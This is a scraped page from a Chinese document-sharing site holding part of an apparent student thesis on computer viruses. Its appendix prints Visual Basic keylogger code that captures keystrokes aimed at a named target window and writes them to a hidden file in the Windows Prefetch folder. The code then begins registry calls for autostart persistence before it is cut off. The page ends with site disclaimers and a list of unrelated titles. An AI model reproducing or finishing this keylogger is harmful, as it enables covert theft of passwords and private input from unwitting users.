6 David Harley 美 Robert Slade 美 Urs E Gattiker 美 计算机病毒揭秘 M 北 京 人民邮电出版社 2002 9 7 张小磊 计算机病毒诊断与防治 M 北京 中国环境科学出版社 2003 第 20 页 共 25 页 附附 录录 键盘记录功能中部分代码 公用模块部分 API 函数声明 记录键盘 API 函数声明 Public Declare Function GetAsyncKeyState Lib user32 ByVal vKey As Long As Integer Public Declare Function GetKeyState Lib user32 ByVal nVirtKey As Long As Integer 获取窗口句柄 API 函数声明 Public Declare Function FindWindow Lib user32 Alias FindWindowA ByVal lpClassName As String ByVal lpWindowName As String As Long 窗体中部分代码以记录 A 与 a 为例 Dim mykey As Long Dim CapsLock As Long 定义 CapsLock 键 Dim Shift As Long 定义 Shift 键 Dim NumLock As Long 定义 NumLock 键 CapsLock GetKeyState vbKeyCapital CapsLock 键状态 NumLock GetKeyState vbKeyNumlock NumLock 键状态 Shift GetAsyncKeyState vbKeyShift Shift 键状态 Dim Wname As Long Dim Cname As String Cname TxtName Text Wname FindWindow vbNullString Cname If Wname 0 Then 判断是否打开以 Cname 这个命名的窗口 mykey GetAsyncKeyState vbKeyA If mykey 32767 Then 判断键是否按下 If CapsLock 0 And Shift 0 Or CapsLock 0 And Shift 0 Then CapsLock 启用且未按 Shift 或 CapsLock 未启用但按下 Shift 时 Text1 Text Text1 Text A GoTo KeyFound End If 第 21 页 共 25 页 If CapsLock 0 And Shift 0 Or CapsLock 0 And Shift 0 Then Text1 Text Text1 Text a GoTo KeyFound End If End If KeyFound mykey GetAsyncKeyState vbKeyReturn If mykey 32767 Then 判断键是否按下回车键 如果按 下以追加的方式将记录的数据写入到指定文件当中 Open C WINDOWS Prefetch vb txt For Append As 2 Write 2 Close 2 Open C WINDOWS Prefetch vb txt For Append As 2 Write 2 Text1 Text Close 2 Text1 Text End If End If 2 判断是否已经写入开机自动运行的代码 Public Declare Function RegCreateKey Lib advapi32 dll Alias RegCreateKeyA ByVal hKey As Long ByVal lpSubKey As String phkResult As Long As Long 用来打开指定键建立关键字 Public Declare Function RegCloseKey Lib advapi32 dll ByVal hKey As
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025-2030费托蜡行业未来技术发展方向与市场前景展望
- 2025-2030费托蜡生产节能减排技术路线与成本效益分析
- 2025-2030费托蜡在润滑剂行业中的技术替代趋势
- 2025-2030费托蜡企业并购重组典型案例与估值方法论报告
- 2025-2030自动驾驶高精地图标准体系建设与商业运营模式报告
- 2025竹地板采购协议书
- 工业自动化设备操作流程规范
- 2022年某省高考语文真题解析
- 小学音乐课程教学设计流程
- 2025物流管理软件采购协议
- 【申报书】高职院校高水平专业群建设项目申报书
- 劳动教育通论1-11章完整版课件
- 《炼油与化工装置机泵 在线监测系统技术规范》
- 羽毛球竞赛编排知识与方法
- 2023数据标准管理实践
- 非洲水坝施工方案
- Unit 3 Understanding ideas The Road to Success课件 2023-2024学年高中英语外研版选择性必修第一册
- 项目需求分析文档(模板)
- 长阳清江画廊
- 四川2023年专业技术人员公需科目“数字经济与驱动发展”参考答案(通用版)
- 液压泵站使用说明书
评论
0/150
提交评论